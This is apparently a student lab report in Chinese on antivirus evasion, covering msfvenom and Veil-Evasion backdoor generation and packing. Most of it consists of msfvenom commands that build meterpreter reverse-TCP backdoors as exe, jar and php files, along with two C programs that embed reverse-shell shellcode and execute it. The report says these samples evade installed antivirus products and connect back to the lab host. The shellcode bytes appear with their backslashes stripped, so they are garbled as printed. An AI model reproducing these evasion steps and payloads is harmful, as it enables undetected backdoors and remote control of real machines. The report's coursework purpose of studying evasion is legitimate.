2018-2019-2 网络对抗技术 20165227 Exp3 免杀原理与实践
**免杀**
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1、使用msf编码器生成后门程序
2、使用virus total
进行测试
3、使用msf编码器编码15次后门程序,看看有何效果
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘x00’ LHOST=192.168.142.129 LPORT=5227 -f exe > met-encoded15.exe
4、使用msfvenom生成jar和php
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.129 lport=5227 x> 20165227_backdoor_java.jar
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.129 lport=5227 x> 20165227_backdoor.php
5、使用veil-evasion进行后门生成(安装耗时太久,各种问题)安装可参照Veil-Evasion安装
-
在``Veil-Evasion文件夹
下输入命令
./Veil-Evasion.py``` 启动
-
使用命令:
use
然后7
设置IP和端口
-
使用
generate
生成后门
-
使用
virus total
进行测试
6、利用shellcode编程
- 生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.142.129 LPORT=5227 -f c
任务二:Linux平台交叉编译Windows应用
1、交叉编译
vim 5227met.c
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x8ex81"
"x68x02x00x14x6bx89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 再使用命令
i686-w64-mingw32-g++ 5227met.c -o 5227met.exe
生成可执行的后门程序 - 测试
2、组合:c+shellcode+加压缩壳
- 实验对象:本机Win10系统,装有腾讯电脑管家
- 首先生成shellcode,参照任务一
- 制作代码
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//192.168.142.129 5227 reverse_tcp
const char met[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x8ex81"
"x68x02x00x14x6bx89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr = (INT32*)&met;
__asm;
{
call addr;
}
return 0;
}
-
再使用win10主机安装的VS进行exe生成
-
随后用kali进行加压缩壳
-
将可执行文件放置主机,用杀软查杀
-
运行,且回连成功
-
杀软信息
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
使用的可执行文件仍然是任务二的exe
-
电脑是:虚拟机里的win7
-
杀软:
-
回连:
-
查杀:
实验感想
- 问题:在安装Veil-exasion的时候出现了很多问题,百度上又没有找到相应的解决方案,弄了很久,好像最终是安装了一个phython库吧,才成功
- 在这次的实验过程中,状况很多,有时候生成的后门文件直接编译20次就能逃过杀软的检查,而加了压缩壳的反而被查了,百度后了解到,很多杀软存在着误判